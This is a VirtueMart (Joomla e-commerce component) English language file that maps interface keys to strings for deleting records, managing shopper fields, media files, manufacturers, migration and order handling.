COM_VIRTUEMART_DELETED_X_CUSTOM_FIELD_ITEMS="%s custom field items have been deleted" COM_VIRTUEMART_DELETED_X_MEDIA_ITEMS="%s media items have been deleted" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH="Reset all tables and do a fresh install" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH_CONFIRM_JS="This deletes all tables of VirtueMart and makes a fresh install (no files). Are you sure?" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE="Reset all tables and install sample data" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE_CONFIRM_JS="This deletes all tables of VirtueMart and makes a demo install (no files). Are you sure?" COM_VIRTUEMART_DELETE_GENERAL_WARNING="Warning" COM_VIRTUEMART_DELETE_MSG="Are you sure you want to delete this record?" COM_VIRTUEMART_DELETE_RECORD="Delete this record" COM_VIRTUEMART_DELIVERYNOTE="Delivery Note" COM_VIRTUEMART_DELIVERYNOTE_CREATE="Create Delivery Note" COM_VIRTUEMART_DELIVERY_TIME="Usually ships in" COM_VIRTUEMART_DESC="Descending Order" COM_VIRTUEMART_DESCRIPTION="Description" COM_VIRTUEMART_DETAILS="Details" COM_VIRTUEMART_DISABLE_ITEM="Disable Item" COM_VIRTUEMART_DISPLAY_END="End Value" COM_VIRTUEMART_DISPLAY_STEP="Step Value" COM_VIRTUEMART_DISPLAY_STOCK="Display stock level" COM_VIRTUEMART_DISPLAY_STOCK_EXPLAIN="If enabled the stock level will be displayed in product category layout" COM_VIRTUEMART_DOCUMENTATION="Documentation" COM_VIRTUEMART_DOWNLOADABLE="Downloadable" COM_VIRTUEMART_DO_LOGIN="You need to login" COM_VIRTUEMART_DRDOWN_AVA2ALL="Available for all" COM_VIRTUEMART_DRDOWN_NONE="None" COM_VIRTUEMART_DRDOWN_NOTMULTILINGUAL="Select languages if your shop is Multilingual" COM_VIRTUEMART_DRDOWN_SELALL="Select all" COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS="Select some options" COM_VIRTUEMART_EDIT="Edit" COM_VIRTUEMART_EDITSHOP="Edit" COM_VIRTUEMART_EDIT_PARENT="Edit product parent" COM_VIRTUEMART_EDIT_REVIEW="Edit" COM_VIRTUEMART_EMAIL="Email" COM_VIRTUEMART_EMAIL_SENDTO="A confirmation email has been sent to" COM_VIRTUEMART_EMPTY_CATEGORY="This Category is currently empty." COM_VIRTUEMART_ENABLED="Enabled" COM_VIRTUEMART_ENABLE_ITEM="Enable item" COM_VIRTUEMART_ENCODE_INSECURE="ENCODE (insecure)" COM_VIRTUEMART_END_DATE="End Date" COM_VIRTUEMART_ENQUIRY="Enquiry" COM_VIRTUEMART_ENTER_VALID_DATE="Please enter a valid date format (YYYY-MM-DD)" COM_VIRTUEMART_ENTER_VALUE_FIELD="Please enter a value into the Field" COM_VIRTUEMART_ERROR="Error" COM_VIRTUEMART_ERROR_BODY="Hello,\n\n%s. The details are logged in the file %s\n\nThe VirtueMart Team" COM_VIRTUEMART_ERROR_SUBJECT="An error with your payment %s on your store %s" COM_VIRTUEMART_EXCLUDING_TAX="(excluding tax)" COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND="Reminder! Also update your extensions with the AIO installer" COM_VIRTUEMART_E_IMAGES="Images" COM_VIRTUEMART_E_REMOVE="Remove" COM_VIRTUEMART_FEATURED="Featured" COM_VIRTUEMART_FEATURED_PRODUCT="Featured Products" COM_VIRTUEMART_FEATURED_PRODUCTS_LIST_LBL="Featured & Discounted Products" COM_VIRTUEMART_FEE="Fee" COM_VIRTUEMART_FEED_FEATURED_EXTENSION="Featured Extensions" COM_VIRTUEMART_FEED_LATEST_EXTENSION="Latest Extensions" COM_VIRTUEMART_FEED_LATEST_NEWS="Latest News" COM_VIRTUEMART_FEED_POPULAR_EXTENSION="Popular Extensions" COM_VIRTUEMART_FEED_SUBSCRIBE_TITLE="Subscribe to the Feed of the latest Products!" COM_VIRTUEMART_FEED_SUBSCRIBE_TOCATEGORY_TITLE="Subscribe to the Feed of the latest Products in this Category!" COM_VIRTUEMART_FIELDMANAGER_COREFIELD="User field from Joomla core" COM_VIRTUEMART_FIELDMANAGER_HIDE_ACCOUNT="Account" COM_VIRTUEMART_FIELDMANAGER_HIDE_REGISTRATION="Registration" COM_VIRTUEMART_FIELDMANAGER_HIDE_SHIPPING="Shipment" COM_VIRTUEMART_FIELDMANAGER_NAME="Field name" COM_VIRTUEMART_FIELDMANAGER_REORDER="Reorder" COM_VIRTUEMART_FIELDMANAGER_REQUIRE="Required" COM_VIRTUEMART_FIELDMANAGER_REQUIRED="Required" COM_VIRTUEMART_FIELDMANAGER_SHOW_ACCOUNT="Account" COM_VIRTUEMART_FIELDMANAGER_SHOW_HIDE="Show/Hide in:" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_ACCOUNT="Show in account maintenance" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_REGISTRATION="Show in registration form" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_SHIPPING="Show in shipment form" COM_VIRTUEMART_FIELDMANAGER_SHOW_REGISTRATION="Registration" COM_VIRTUEMART_FIELDMANAGER_SHOW_SHIPPING="Shipment" COM_VIRTUEMART_FIELDMANAGER_TITLE="Field title" COM_VIRTUEMART_FIELDMANAGER_TYPE="Field type" COM_VIRTUEMART_FIELDMANAGER_UNREQUIRE="Not Required" COM_VIRTUEMART_FIELDS_AGEVERIFICATION="Age Verification (Date Select Fields)" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_ATTRIBUTES="Age Verification (Date Select Fields) Attributes" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_MINIMUM="Specify the minimum Age" COM_VIRTUEMART_FIELDS_CAPTCHA="Captcha Field (using com_securityimages)" COM_VIRTUEMART_FIELDS_CHECKBOX_MULTIPLE="Check Box (Multiple Select)" COM_VIRTUEMART_FIELDS_CHECKBOX_SINGLE="Check Box (Single Select)" COM_VIRTUEMART_FIELDS_DATE="Date" COM_VIRTUEMART_FIELDS_DELIMITER="--- Fieldset delimiter ---" COM_VIRTUEMART_FIELDS_DROPDOWN_MULTIPLE="Drop Down (Multi Select)" COM_VIRTUEMART_FIELDS_DROPDOWN_SINGLE="Drop Down (Single Select)" COM_VIRTUEMART_FIELDS_EDITORAREA="Editor Text Area" COM_VIRTUEMART_FIELDS_EMAIL="Email Address" COM_VIRTUEMART_FIELDS_NEWSLETTER="Newsletter Subscription" COM_VIRTUEMART_FIELDS_RADIOBUTTON="Radio Button" COM_VIRTUEMART_FIELDS_TEXTAREA="Text Area" COM_VIRTUEMART_FIELDS_TEXTFIELD="Text Field" COM_VIRTUEMART_FIELDS_WEBADDRESS="Web Address" COM_VIRTUEMART_FIELD_TYPE="Field Type" COM_VIRTUEMART_FILES_FILE_DELETE_FAILURE="Could not delete the File." COM_VIRTUEMART_FILES_FILE_DELETE_SUCCESS="File successfully deleted." COM_VIRTUEMART_FILES_FULLIMG_DELETE_FAILURE="Could not delete the Full Image File." COM_VIRTUEMART_FILES_FULLIMG_DELETE_SUCCESS="Full Image successfully deleted." COM_VIRTUEMART_FILES_IMAGE_RESIZE_SUCCESS="The Thumbnail Image has been successfully created!" COM_VIRTUEMART_FILES_LIST="Files List" COM_VIRTUEMART_FILES_LIST_FILENAME="Filename" COM_VIRTUEMART_FILES_LIST_FILETITLE="File Title" COM_VIRTUEMART_FILES_LIST_FILETYPE="Filetype" COM_VIRTUEMART_FILES_LIST_GO_UP="Go Up" COM_VIRTUEMART_FILES_LIST_ROLE="Role" COM_VIRTUEMART_FILES_LIST_UP="Up" COM_VIRTUEMART_FILES_NOT_FOUND="Sorry, but the requested file wasn't found!" COM_VIRTUEMART_FILES_PATH_ERROR="Please provide a valid path!" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_FAILURE="Could not delete the Thumbnail Image File (maybe didn't exist)" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_SUCCESS="Thumbnail Image successfully deleted." COM_VIRTUEMART_FILES_UPLOAD_FAILURE="File/Image Upload Error" COM_VIRTUEMART_FILE_DELETE_ERR="File could not be deleted %s" COM_VIRTUEMART_FILE_DELETE_OK="File deleted" COM_VIRTUEMART_FILE_SAVED_SUCCESS="Media File saved successfully" COM_VIRTUEMART_FILE_UPLOAD_OK="File %s uploaded" COM_VIRTUEMART_FILTER="Filter" COM_VIRTUEMART_FILTER_BY="Filter by" COM_VIRTUEMART_FOLDER_NOT_EXIST="Folder %s does not exist. You can create it, and place your images inside." COM_VIRTUEMART_FORM_EDIT=": [ Edit ]" COM_VIRTUEMART_FORM_GENERAL="General Informations" COM_VIRTUEMART_FORM_NEW=": [ New ]" COM_VIRTUEMART_FOR_SALE="File is for Sale" COM_VIRTUEMART_FOR_VIEW_WITH_PRESELECTED_MANUFACTURER="for a view with preselected manufacturer" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT="Minimum Amount for Free Shipment" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT_TIP="The amount (INCLUDING TAX!) which is the Minimum for Free Shipment (example: 50 means Free Shipment when the customer checks out with $50 (including tax) or more." COM_VIRTUEMART_FREE_SHIPPING_CART="Shipment is free on this Order" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS="Generally prevent https connections?" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS_TIP="When checked, the shopper is redirected to the http URL when not browsing in those shop areas, which are forced to use https." COM_VIRTUEMART_GO="Go" COM_VIRTUEMART_GROUP_NAME="Permission group name" COM_VIRTUEMART_HELP="Help" COM_VIRTUEMART_HELP_ABOUT="VirtueMart is the complete Open Source E-Commerce solution for Joomla!. It is an Application, which comes with a Component, more than 6 Modules and Mambots/Plugins. It has its roots in a Shopping Cart Script called 'phpShop' (Authors: Edikon Corp. & the phpShop community)." COM_VIRTUEMART_HELP_DONATION_BUTTON_ALT="Make payments with PayPal ‚Äì it's fast, free and secure!" COM_VIRTUEMART_HELP_DONATION_DESC="Please consider a small donation to the VirtueMart Project to help us keep up the work on this Component and create new Features." COM_VIRTUEMART_HELP_HOMEPAGE="Homepage" COM_VIRTUEMART_HELP_LICENSE_DESC="VirtueMart is licensed under the {licensename} License." COM_VIRTUEMART_HELP_PROJECTLEADER="Project Leader" COM_VIRTUEMART_HELP_TEAM="There is a small team of Developers who help in evolving this Shopping Cart Script." COM_VIRTUEMART_HELP_TOPICS="Help Topics" COM_VIRTUEMART_HELP_YOURVERSION="Your {product} version" COM_VIRTUEMART_HI="Hi," COM_VIRTUEMART_HIDE_OUT_OF_STOCK="Hide out of stock products" COM_VIRTUEMART_HTACCESS_DEFAULT_NOT_CREATED="Could not protect the folder %1s with an .htaccess file. Please add a file .htaccess to that folder containing the data %2s" COM_VIRTUEMART_ID="Id" COM_VIRTUEMART_IMAGE="Image" COM_VIRTUEMART_IMAGES="Images" COM_VIRTUEMART_INCLUDING_TAX="(including $tax % tax)" COM_VIRTUEMART_INFO_MSG_VAT_ZERO_LBL="0 (-none-)" COM_VIRTUEMART_INSTALLATION_PLZ_RENEW_CONFIG="Please use renew config from file in Tools => Updates/Migration" COM_VIRTUEMART_INSTALLATION_SUCCESSFUL="The Installation was SUCCESSFUL" COM_VIRTUEMART_INSTALLATION_WELCOME="Welcome to VirtueMart
      The complete e-Commerce shopping cart solution for Joomla" COM_VIRTUEMART_INSTALL_DONATION="Please consider a small donation to help us keep up the work on this component." COM_VIRTUEMART_INSTALL_FURTHER_HELP="Go to VirtueMart for further Help" COM_VIRTUEMART_INSTALL_GO_SHOP="Go to the Shop" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="Install Sample Data" COM_VIRTUEMART_INTNOTES="Product Internal Notes" COM_VIRTUEMART_INVOICE="Invoice" COM_VIRTUEMART_INVOICE_CREATE="Force creation of invoice" COM_VIRTUEMART_INVOICE_NUMBER_RESERVED="InvoiceNumber is Reserved by Payment." COM_VIRTUEMART_INVOICE_PRINT="Print Invoice" COM_VIRTUEMART_ITEM="Item" COM_VIRTUEMART_ITEMS_MOVED="You sorted a total of %s Items" COM_VIRTUEMART_ITEMS_NOT_MOVED="items was already well-sorted" COM_VIRTUEMART_ITEM_MOVED_DOWN="Item Moved Down" COM_VIRTUEMART_ITEM_MOVED_UP="Item Moved Up" COM_VIRTUEMART_ITEM_NEXT="next order" COM_VIRTUEMART_ITEM_PREVIOUS="previous order" COM_VIRTUEMART_I_AGREE_TO_TOS="I agree to the Terms of Service" COM_VIRTUEMART_JPLUGINWARNING="Please configure VirtueMart Shipment or Payment Plugins inside VirtueMart component" ; JAVASCRIPT Declaration, respect the Json format use this format "key: 'value',..." DO NOT EDIT /change KEY COM_VIRTUEMART_JS_STRINGS=" editImage: 'edit image',select_all_text: 'select all options',select_some_options_text :'Select some Options', select_an_option_text:'Select an Option'" COM_VIRTUEMART_LANG_IS_EMPTY="No (%1$s) translation in %2$s, please fill the fields with Flags" COM_VIRTUEMART_LAST_UPDATED="Last Updated" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_MODIFIED="Last modified products first" COM_VIRTUEMART_LEGALINFO_SHORTTEXT="
      Returns Policy
      You can cancel this order within two weeks after we have received it. You can return new, unopened items from a cancelled order within 2 weeks after they have been delivered to you. Items should be returned in their original packaging. For more information on cancelling orders and returning items, see the Our Returns Policy page." COM_VIRTUEMART_LIST="List" COM_VIRTUEMART_LISTREVIEWS="List Reviews" COM_VIRTUEMART_LIST_ALL_PRODUCTS="List All Products" COM_VIRTUEMART_LIST_ALL_ROLES="All roles" COM_VIRTUEMART_LIST_ALL_TYPES="All types" COM_VIRTUEMART_LIST_CHILDREN_FROM_PARENT="List all %s children" COM_VIRTUEMART_LIST_EMPTY_OPTION="Please Select" COM_VIRTUEMART_LIST_ORDER="List Order" COM_VIRTUEMART_LOG="Log" COM_VIRTUEMART_LOST_PASSWORD="Lost Password?" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION="Low Stock Notification" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_MESSAGE="There are only {product_in_stock} stock remaining for the product {product_name} (SKU {product_sku})." COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_SUBJECT="Low Stock reached for %s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_C="[%3$s], Confirmed order at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_P="[%3$s], Order is pending at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_R="[%3$s], Refunded order by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_S="[%3$s], Shipped order from %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_U="[%3$s], You confirmed an order at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_X="[%3$s], Cancelled order by %1$s, total %2$s" COM_VIRTUEMART_MANAGE_USER_FIELDS="Shopper Field List" COM_VIRTUEMART_MANUFACTURER="Manufacturer" COM_VIRTUEMART_MANUFACTURERCATEGORIES="Manufacturer category" COM_VIRTUEMART_MANUFACTURER_CATEGORY="Manufacturer category" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DESCRIPTION="Manufacturer category Description" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DETAILS="Manufacturer category Details" COM_VIRTUEMART_MANUFACTURER_CATEGORY_LIST="List" COM_VIRTUEMART_MANUFACTURER_CATEGORY_NAME="Manufacturer category Name" COM_VIRTUEMART_MANUFACTURER_CATEGORY_S="Manufacturer categories" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_INFO_LBL="Category Information" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_LBL="Manufacturer Category Form" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_NAME="Category Name" COM_VIRTUEMART_MANUFACTURER_CAT_LIST_LBL="Manufacturer Category List" COM_VIRTUEMART_MANUFACTURER_CAT_MANUFACTURERS="Manufacturers" COM_VIRTUEMART_MANUFACTURER_CAT_NAME="Category Name" COM_VIRTUEMART_MANUFACTURER_DESCRIPTION="Description" COM_VIRTUEMART_MANUFACTURER_DETAILS="Manufacturer Details" COM_VIRTUEMART_MANUFACTURER_EMAIL="Manufacturer Email" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT="Select a Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_DESC="Creates a link to display the selected Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE="Select a Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE_DESC="Creates a link to the Manufacturer" COM_VIRTUEMART_MANUFACTURER_FORM_INFO_LBL="Manufacturer Information" COM_VIRTUEMART_MANUFACTURER_IMAGE="Manufacturer image" COM_VIRTUEMART_MANUFACTURER_LIST_ADMIN="Admin" COM_VIRTUEMART_MANUFACTURER_MOD="Manufacturers" COM_VIRTUEMART_MANUFACTURER_NAME="Manufacturer Name" COM_VIRTUEMART_MANUFACTURER_S="Manufacturers" COM_VIRTUEMART_MANUFACTURER_SHOW="Show all manufacturer in this category" COM_VIRTUEMART_MANUFACTURER_URL="Manufacturer URL" COM_VIRTUEMART_MANUFACTURER_URL_TIP="Manufacturer URL must start with http://" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Displays VirtueMart manufacturers List" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="VirtueMart Manufacturer Default Layout" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Displays VirtueMart Manufacturer Details Layout" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="VirtueMart Manufacturer Details Layout" COM_VIRTUEMART_MEDIA="Media" COM_VIRTUEMART_MEDIA_CHOOSE_TYPE="Choose media type for media with filename %1$s" COM_VIRTUEMART_MEDIA_MANAGER="Media File Manager" COM_VIRTUEMART_MEDIA_MUST_HAVE_TITLE="Media files must have a title" COM_VIRTUEMART_MEDIA_MUST_HAVE_URL="Media files must have an url" COM_VIRTUEMART_MEDIA_NO_PATH_TYPE="Media of type %1$s has no relative URL set, Please configure it first and come back here." COM_VIRTUEMART_MEDIA_S="Media Files" COM_VIRTUEMART_MEDIA_SHOULD_HAVE_MIMETYPE="Media file %s should have a mimetype" COM_VIRTUEMART_MEDIA_SHOULD_NOT_BMP="Bmp file %s is not good choice for internet" COM_VIRTUEMART_MENU="Menu" COM_VIRTUEMART_MESSAGE_PROMPT="Enter your Message" COM_VIRTUEMART_METAAUTHOR="Author" COM_VIRTUEMART_METADESC="Meta Description" COM_VIRTUEMART_METAINFO="Meta Information" COM_VIRTUEMART_METAKEY="Meta Keywords" COM_VIRTUEMART_METAROBOTS="Meta Robots" COM_VIRTUEMART_MF_CATEGORY_NAME="manufacturer category name" COM_VIRTUEMART_MF_NAME="Manufacturer Name" COM_VIRTUEMART_MIGRATE="Start migration" COM_VIRTUEMART_MIGRATION_DCAT_BROWSE="Default category layout (browse page) without .php" COM_VIRTUEMART_MIGRATION_DCAT_BROWSE_TIP="Enter here your default browse, to prevent that VM2 is handling it as override. You can set your default in the common vm config and per category" COM_VIRTUEMART_MIGRATION_DCAT_FLY="Default category product layout (flypage) without .php" COM_VIRTUEMART_MIGRATION_DCAT_FLY_TIP="Enter here your default flypage, to prevent that VM2 is handling it as override. You can set your default in the common vm config and per category and additionally per product" COM_VIRTUEMART_MIGRATION_REWRITE_ORDER_NUMBER="Rewrite order numbers" COM_VIRTUEMART_MIGRATION_STOREOWNERID="Write here the new store owner id" COM_VIRTUEMART_MIGRATION_TAB="Migration" COM_VIRTUEMART_MIGRATION_UPDATE="Tools & Migration" COM_VIRTUEMART_MIGRATION_USER_ORDER_ID ="Use the vm1 order id as vm2 order number" COM_VIRTUEMART_MIGRA_PORTFLY="Port Fly pages" COM_VIRTUEMART_MIGRA_PORTFLY_TIP="In case you used different flypages in VM1 and you want to keep this system. Be aware it is NOT necessary anylonger to use different flypage for different number of products per row." COM_VIRTUEMART_MIGRA_SGRP_PRICES="Port shoppergroups assigned to prices" COM_VIRTUEMART_MIGRA_SGRP_PRICES_TIP="We suggest not to use this feature, except you are using multiple prices per product and shoppergroup." COM_VIRTUEMART_MISSING_FLAG="Missing Flag %1$s for language %2$s.
      Go to Extensions > Language Manager > Content, and check the parameter Image Prefix for this language." COM_VIRTUEMART_MODIFIED_ON="Product Modified Date" COM_VIRTUEMART_MODULES_FORCE_HTTPS="Shop areas which must use https" COM_VIRTUEMART_MODULES_FORCE_HTTPS_TIP="Here you can use a comma-separated list of shop core modules (See 'Admin' ='> 'List Modules'), which will be using https connections." COM_VIRTUEMART_MONTH="Month" COM_VIRTUEMART_MONTH_S="Months" COM_VIRTUEMART_MORE="More..." COM_VIRTUEMART_MORE_CATEGORIES="more categories" COM_VIRTUEMART_MORE_IMAGES="View More Images" COM_VIRTUEMART_MORE_LANGUAGES="More languages here %1$s" COM_VIRTUEMART_MOVE="Delete/Move" COM_VIRTUEMART_MOVE_DOWN="Move Down" COM_VIRTUEMART_MOVE_UP="Move Up" COM_VIRTUEMART_MULTIPLE_PRICES="Multiple Prices" COM_VIRTUEMART_MULTISELECT="Multiselect" COM_VIRTUEMART_NAME="Name" COM_VIRTUEMART_NAME_OF_USERFIELD_CONTAINS_INVALID_CHARACTERS="The name of the userfield contains invalid characters" COM_VIRTUEMART_NEVER="-Never-" COM_VIRTUEMART_NEW_ITEM="New item" COM_VIRTUEMART_NEW_ITEMS_PLACE="New items default to the last place. Ordering can be changed after this item is saved." COM_VIRTUEMART_NEW_ORDERING_SAVED="New ordering saved" COM_VIRTUEMART_NEW_ORDERING_SAVEDF="New ordering saved using %s field" COM_VIRTUEMART_NEW_USER_MESSAGE="Hello %s, a new user have registered at %s." COM_VIRTUEMART_NEW_USER_MESSAGE_SUBJECT="New User Details" COM_VIRTUEMART_NEW_USER_MESSAGE_VENDOR_SUBJECT="A new user %1$s registered at your shop" COM_VIRTUEMART_NEW_VENDOR="New Vendor" COM_VIRTUEMART_NO="No" COM_VIRTUEMART_NONE="None" COM_VIRTUEMART_NON_UNIQUE="Error cant save %s without a non unique %s" COM_VIRTUEMART_NON_UNIQUE_WARN="%s was not unique in table %s, added random number: %s" COM_VIRTUEMART_NOODP_NOYDIR="noodp, noydir" COM_VIRTUEMART_NOODP_NOYDIR_NOFOLLOW="noodp, noydir, no follow" COM_VIRTUEMART_NOTIFIED="Notified" COM_VIRTUEMART_NOTIFY_CUSTOMER_ERR_SEND="Could not send a message to " COM_VIRTUEMART_NOTIFY_CUSTOMER_SEND_MSG="Message sent to" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USERINFO_DATA="Was not able to save the VirtueMart userinfo address data" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA="Was not able to save the VirtueMart user data" COM_VIRTUEMART_NOT_AUTH="You are not authorized to view this resource." COM_VIRTUEMART_NO_ACCOUNT="No Account yet?" COM_VIRTUEMART_NO_CUSTOMER="You are not a Registered Shopper yet. Please provide your Billing Information." COM_VIRTUEMART_NO_DESCRIPTION_FOUND="No description found" COM_VIRTUEMART_NO_FILES_FOUND="No files found" COM_VIRTUEMART_NO_IMAGE_FOUND="no image found" COM_VIRTUEMART_NO_IMAGE_SET="No image set" COM_VIRTUEMART_NO_ITEMS_SELECTED="No Items Selected" COM_VIRTUEMART_NO_MEDIA="Sorry,It's not a valid media file" COM_VIRTUEMART_NO_MEDIA_FILES="No Images Found" COM_VIRTUEMART_NO_MORE_ORDERS="No more Orders" COM_VIRTUEMART_NO_PAYMENT_PLUGINS_INSTALLED="There are no payment plugins installed, please go to http://dev.VirtueMart.net/projects/VirtueMart/files and download/install the latest com_virtuemart_aio" COM_VIRTUEMART_NO_PRICE_SET="No price set" COM_VIRTUEMART_NO_RESTRICTION="No Restriction" COM_VIRTUEMART_NO_REVIEWS="There are yet no reviews for this product." COM_VIRTUEMART_NO_SEARCH_RESULT="Your search returned 0 results.
      " COM_VIRTUEMART_NO_SHIPMENT_PLUGINS_INSTALLED="There are no shipment plugins installed, please go to http://dev.VirtueMart.net/projects/VirtueMart/files and download/install the latest com_virtuemart_aio" COM_VIRTUEMART_NO_VALID_DOWNLOADROOT_SET="Download directory not set" COM_VIRTUEMART_OFFLINE_MODE="OFFLINE MODE" COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER="Please use register to get the advantages of a registered user, else use save for guest checkout" COM_VIRTUEMART_ONLY_JUSER="only joomla" COM_VIRTUEMART_OPERATION_CANCELED="Operation Canceled!!" COM_VIRTUEMART_ORDER="Order" COM_VIRTUEMART_ORDERBY="Sort by" COM_VIRTUEMART_ORDERING="Ordering" COM_VIRTUEMART_ORDERS="Orders" COM_VIRTUEMART_ORDERSTATUS="Order Status" COM_VIRTUEMART_ORDERSTATUS_DETAILS="Order Status Details" COM_VIRTUEMART_ORDERSTATUS_S="Order Statuses" COM_VIRTUEMART_ORDERS_LIST="Order list" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="VirtueMart List Orders" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="VirtueMart List Orders" COM_VIRTUEMART_ORDER_CHANGE_UPD_BILL="Change Bill to Address" COM_VIRTUEMART_ORDER_CHANGE_UPD_SHIP="Change Ship to Address" COM_VIRTUEMART_ORDER_CREATE="Create order head" COM_VIRTUEMART_ORDER_DELETE_ERR_ID="Unable to delete without the order ID." COM_VIRTUEMART_ORDER_DELETE_ITEM_JS="Are you sure you want to delete this Item?" COM_VIRTUEMART_ORDER_EDIT="Change Order Details" COM_VIRTUEMART_ORDER_EDIT_ACTIONS="Actions" COM_VIRTUEMART_ORDER_EDIT_CALCULATE="calculate" COM_VIRTUEMART_ORDER_EDIT_CALCULATE_DESC="Calculate the value automatically, uncheck to use the input value." COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT="Select a Product" COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT_BY_SKU="Select SKU" COM_VIRTUEMART_ORDER_EDIT_EDIT_ORDER="Change Order" COM_VIRTUEMART_ORDER_EDIT_ERROR_QUANTITY_MUST_BE_HIGHER_THAN_0="Quantity must be greater than 0." COM_VIRTUEMART_ORDER_EDIT_ORDER_ID="Edit Order ID" COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER="Edit Order Number" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_ADDED="The Product was added to the Order" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_DELETED="The Product was removed from this Order" COM_VIRTUEMART_ORDER_EDIT_QUANTITY_UPDATED="Quantity has been updated" COM_VIRTUEMART_ORDER_EDIT_USER="Edit user" COM_VIRTUEMART_ORDER_LABEL_NEVERGENERATED="Label has not been generated yet" COM_VIRTUEMART_ORDER_LABEL_NOTFOUND="Order record not found in shipment label database." COM_VIRTUEMART_ORDER_LABEL_ORDERID_NOTVALID="Please provide a valid, numeric, Order ID, not '{order_id}'" COM_VIRTUEMART_ORDER_LABEL_SHIPPINGLABEL_LBL="Shipment Label" COM_VIRTUEMART_ORDER_LABEL_SIGNATURENEVER="Signature was never retrieved" COM_VIRTUEMART_ORDER_LINK="Follow this link to view the Order Details." COM_VIRTUEMART_ORDER_LIST_ID="Order ID" COM_VIRTUEMART_ORDER_LIST_LBL="Order List" COM_VIRTUEMART_ORDER_LIST_MDATE="Last Modified" COM_VIRTUEMART_ORDER_LIST_NOTIFY="Notify Shopper?" COM_VIRTUEMART_ORDER_LIST_NOTIFY_ERR="Please change the Order Status first!" COM_VIRTUEMART_ORDER_LIST_NUMBER="Order number" COM_VIRTUEMART_ORDER_LIST_PRINT_LABEL="Print Label" COM_VIRTUEMART_ORDER_LIST_SEARCH_BY_DATE="Search by date" COM_VIRTUEMART_ORDER_LIST_STATUS="Status" COM_VIRTUEMART_ORDER_LIST_TRACK="Track" COM_VIRTUEMART_ORDER_LIST_VOID_LABEL="Void Label" COM_VIRTUEMART_ORDER_MOD="Orders & Shoppers" COM_VIRTUEMART_ORDER_NOTFOUND="Order not found! It may have been deleted." COM_VIRTUEMART_ORDER_NOT_UPDATED="No change, please change the status in the orders to update it !" COM_VIRTUEMART_ORDER_NOT_UPDATED_SUCCESSFULLY="%1$s orders of %2$s have reported errors" COM_VIRTUEMART_ORDER_RESET="Reset order head" COM_VIRTUEMART_ORDER_S="Orders" COM_VIRTUEMART_ORDER_SAVE_USER_INFO="Save order head" COM_VIRTUEMART_ORDER_STATUS_CANCELLED="Cancelled" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_1="The Status of your Order No. %s has been changed." COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_2="New Status is : " COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_3="To view the Order Details, please follow this link (or copy it into your browser)" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_SUBJ="Order Status Change" COM_VIRTUEMART_ORDER_STATUS_CODE="Order Status Code" COM_VIRTUEMART_ORDER_STATUS_CODE_CORE="Order Status Code used by VirtueMart. Cannot be deleted." COM_VIRTUEMART_ORDER_STATUS_CODE_EXISTS="This Order Status Code already exists. Please choose another one." COM_VIRTUEMART_ORDER_STATUS_CODE_TIP="Order Status Code is only one character" COM_VIRTUEMART_ORDER_VIEW_LIST_DESC="VirtueMart List Orders" COM_VIRTUEMART_ORDER_VIEW_LIST_TITLE="VirtueMart List Orders" COM_VIRTUEMART_OVERWRITE_FINAL="Overwrite final" COM_VIRTUEMART_OVERWRITE_OFF="Disabled" COM_VIRTUEMART_OVERWRITE_PRICE_TAX="Overwrite price to be taxed" COM_VIRTUEMART_PAYMENT="Payment" 